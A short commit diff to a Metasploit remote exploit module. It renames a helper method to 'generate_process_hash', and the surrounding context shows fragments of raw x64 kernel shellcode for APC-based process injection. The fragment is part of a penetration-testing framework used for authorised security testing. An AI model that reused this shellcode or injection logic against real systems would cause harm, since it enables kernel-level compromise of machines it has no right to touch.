commit
c4d6f8e206
|
@ -591,7 +591,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
sc
|
||||
end
|
||||
|
||||
def hash(process)
|
||||
def generate_process_hash(process)
|
||||
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
|
||||
proc_hash = 0
|
||||
process << "\x00"
|
||||
|
@ -638,7 +638,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
"\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
|
||||
"\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
|
||||
"\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
|
||||
"\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + hash(proc_name.upcase) + "\x75\xBC\x49" +
|
||||
"\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + generate_process_hash(proc_name.upcase) + "\x75\xBC\x49" +
|
||||
"\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
|
||||
"\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
|
||||
"\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +
|
||||
|
|
Loading…
Reference in New Issue